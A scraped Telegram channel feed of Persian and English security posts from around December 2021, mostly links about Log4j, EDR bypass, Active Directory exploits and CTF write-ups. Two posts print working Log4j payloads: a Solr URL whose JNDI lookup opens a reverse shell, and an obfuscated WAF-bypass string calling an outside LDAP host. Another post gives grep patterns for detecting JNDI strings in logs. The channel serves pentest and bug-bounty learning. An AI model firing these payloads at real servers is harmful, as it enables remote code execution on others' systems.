Security Analysis – Telegram
Security Analysis
@securation
11.5K subscribers
344 photos
50 videos
36 files
885 links
- Offensive Security (Red Teaming / PenTesting)
- BlueTeam (OperationSec, TreatHunting, DFIR)
- Reverse Engineering / Malware Analysis
- Web Security
- Cryptography
- Steganography
- Forensics
Contact : @DrPwner
Download Telegram
About
Blog
Apps
Platform
Join
Security Analysis
11.5K subscribers
Security Analysis
https://www.youtube.com/watch?v=YZdpxmagNjo
YouTube
HTB cyber santa all web challenges | چالش های کریسمس Hack the Box
سلام دوستان وقتتون بخیر تو این ویدیو چالش های کریسمس hack the box رو براتون آماده کردیم. این چالش ها تموم شده و ما ویدیوشو براتون رکورد کردیم که به یادگیری شما کمک کنه.مارو تو شبکه های اجتماعی دیگه دنبال کنید
https://zil.ink/novasecurity
1.76K views
Security Analysis
⭕️ Grafana unauthorized arbitrary file read.

#infosec #cybersecuritytips #GRAFANA #bugbounty
@securation
1.62K views
Security Analysis
⭕️ Bypassing ETW-Based Solutions

https://www.binarly.io/posts/Design_issues_of_modern_EDRs_bypassing_ETW-based_solutions/index.html

#etw #redteam #blueteam #malware #edr
@securation
1.49K views
Security Analysis
⭕️ Process Ghosting Attack

https://github.com/IkerSaint/KingHamlet
#edr #bypass #pe #inject #ghost #ghost
@securation
GitHub
GitHub - IkerSaint/KingHamlet: Process Ghosting Tool
Process Ghosting Tool. Contribute to IkerSaint/KingHamlet development by creating an account on GitHub.
1.61K viewsedited  
Security Analysis
https://oxagast.org/posts/simple-buffer-overflow-exploitation-walkthrough-gdb/
oxagast.org oxasploits
A simple x86_64 stack based buffer overflow exploitation with gdb
Background
1.57K views
Security Analysis
https://twitter.com/1rpwn/status/1469240466071859213
Twitter
Adel
sudo grep -r '${jndi:ldap://' /var/log sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://' /var/log #log4j #log_4jrce #RCE #apache
1.61K views
Security Analysis
Security Analysis
https://twitter.com/1rpwn/status/1469240466071859213
⭕️ Log4j2 RCE Passive Scanner plugin for BurpSuite

https://github.com/whwlsfb/Log4j2Scan
@securation
GitHub
GitHub - whwlsfb/Log4j2Scan: Log4j2 RCE Passive Scanner plugin for BurpSuite
Log4j2 RCE Passive Scanner plugin for BurpSuite. Contribute to whwlsfb/Log4j2Scan development by creating an account on GitHub.
1.82K views
Security Analysis
⭕️ Ransomware and Vulnerability Management - Download FREE preview and check the articles!

https://hakin9.org/download/ransomware-and-vulnerability-management-preview/

#infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding
@securation
Hakin9 - IT Security Magazine
Ransomware and Vulnerability Management preview - Hakin9 - IT Security Magazine
We decided to dedicate our June edition to a very current and recurring topic - Ransomware and Vulnerability Management. During the COVID pandemic, the ransomware industry was more powerful than ever. That’s why it’s so crucial to understand how ransomware…
👍1
1.8K views
Security Analysis
whitepaper.pdf
770.8 KB
⭕️این #whitepaper مربوط به اکسپلویت شدن اوبونتو هست که توی مسابقات pwn2own انجام شد و هنوز روی نسخه Ubuntu Desktop 20.10 هم جواب میده با وجود اینکه آپدیت هم اومده واسش.
پ ن : همه مسابقات اوبونتو رو میارن وسط انگار ویندوز XP sp1 اکسپلویت میکنند :)
#ubuntu #linux #kernelexp #binexp
@securation
👍1
1.99K views
Security Analysis
A browser security model.

#sop
@securation
2.09K views
Security Analysis
⭕️ آسیب پذیری جدید روی Log4j اومده بود که با شماره CVE-2021-44228 ثبت شده هنوز خیلی جاها آسیب پذیر هستند.
شما میتونید با استفاده از اسکریپتی که به Template اسکنر Nuclei اضافه شده تارگت های مورد نظر رو بررسی کنید.

منابع :‌
https://github.com/advisories/GHSA-jfh8-c2jp-5v3q

#bugbounty #pentest #Log4j #security
@securation
3.4K views
Security Analysis
apache solr EXP #log4j

/solr/admin/collections?action=${jndi:ldap://xxx/Basic/ReverseShell/ip/9999}&wt=json

#log4j #apache #exploit
@securation
1.98K views
Security Analysis
https://twitter.com/1rpwn/status/1471026229297963013
Twitter
Adel
در ورژن 2.15 #log4j یک #CVE جدید کشف شد:))) این بار بجای #log4shell ما #log4dos داریم که روی تارگت میخوره :) باید به ورژن 2.16 آپدیت کنید یا #jndi رو کلا غیر فعال کنید. cve.org/CVERecord?id=C… zdnet.com/article/second… #hack #log4j #bugbounty #redteam #pentest…
1.78K views
Security Analysis
https://www.dragos.com/blog/industry-news/implications-of-log4j-vulnerability-for-ot-networks/
Dragos | Industrial (ICS/OT) Cyber Security
Vulnerability for Operational Technology (OT) Networks
Understand the impact of the zero-day remote code execution (RCE) vulnerability, CVE-2021-44228, affecting Apache Log4j to Operational Technology (OT) networks.
1.78K views
Security Analysis
https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
projectzero.google
A deep dive into an NSO zero-click iMessage exploit: Remote Code Execution - Project Zero
Posted by Ian Beer & Samuel Groß of Google Project Zero We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and...
1.66K views
Security Analysis
⭕️ سلام JNDI هستم :|
#fun #log4j #jndi
@securation
1.72K views
Security Analysis
https://ics-cert.kaspersky.com/reports/2021/12/16/pseudomanuscrypt-a-mass-scale-spyware-attack-campaign/
Kaspersky ICS CERT | Kaspersky Industrial Control Systems Cyber Emergency Response Team
PseudoManuscrypt: a mass-scale spyware attack campaign | Kaspersky ICS CERT
Kaspersky products blocked PseudoManuscrypt on more than 35,000 computers in 195 countries of the world. Targets of attacks include a significant number of industrial and government organizations, including enterprises in the military-industrial complex and…
1.68K views
Security Analysis
⭕️CVE-2021-42287 / CVE-2021-42278: impersonate DA from standard domain user

Scanner and exploit in C # :
https://github.com/cube0x0/noPac

Python exploit for kali :
https://github.com/WazeHell/sam-the-admin

#exploit #git #pentest #redteam
@securation
GitHub
GitHub - cube0x0/noPac: CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter.
CVE-2021-42287/CVE-2021-42278 Scanner & Exploiter. - cube0x0/noPac
1.76K views
Security Analysis
⭕️ Previous AWS WAF bypass is patched.. here is another:

${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}

#jndi #log4j #exploit #bypass
@securation
1.71K views
Security Analysis
⭕️ مجموعه ای از wordlists و دستوراتی برای FFUF و template هایی برای nuclei که در بایپس ارور های 403 بکار برده میشه رو اینجا میتونید استفاده کنید.

https://github.com/aufzayed/bugbounty/tree/main/403-bypass
#bugbounty #cybersecurity #infosec #wordlists #403bypass #hack #ffuf #fuzzing #web
@securation
GitHub
bugbounty/403-bypass at main · aufzayed/bugbounty
Bugbounty Resources. Contribute to aufzayed/bugbounty development by creating an account on GitHub.
👍1
3.25K views
Security Analysis
⭕️ Log4j mindmap

#log4j #infosec
@securation
1.78K views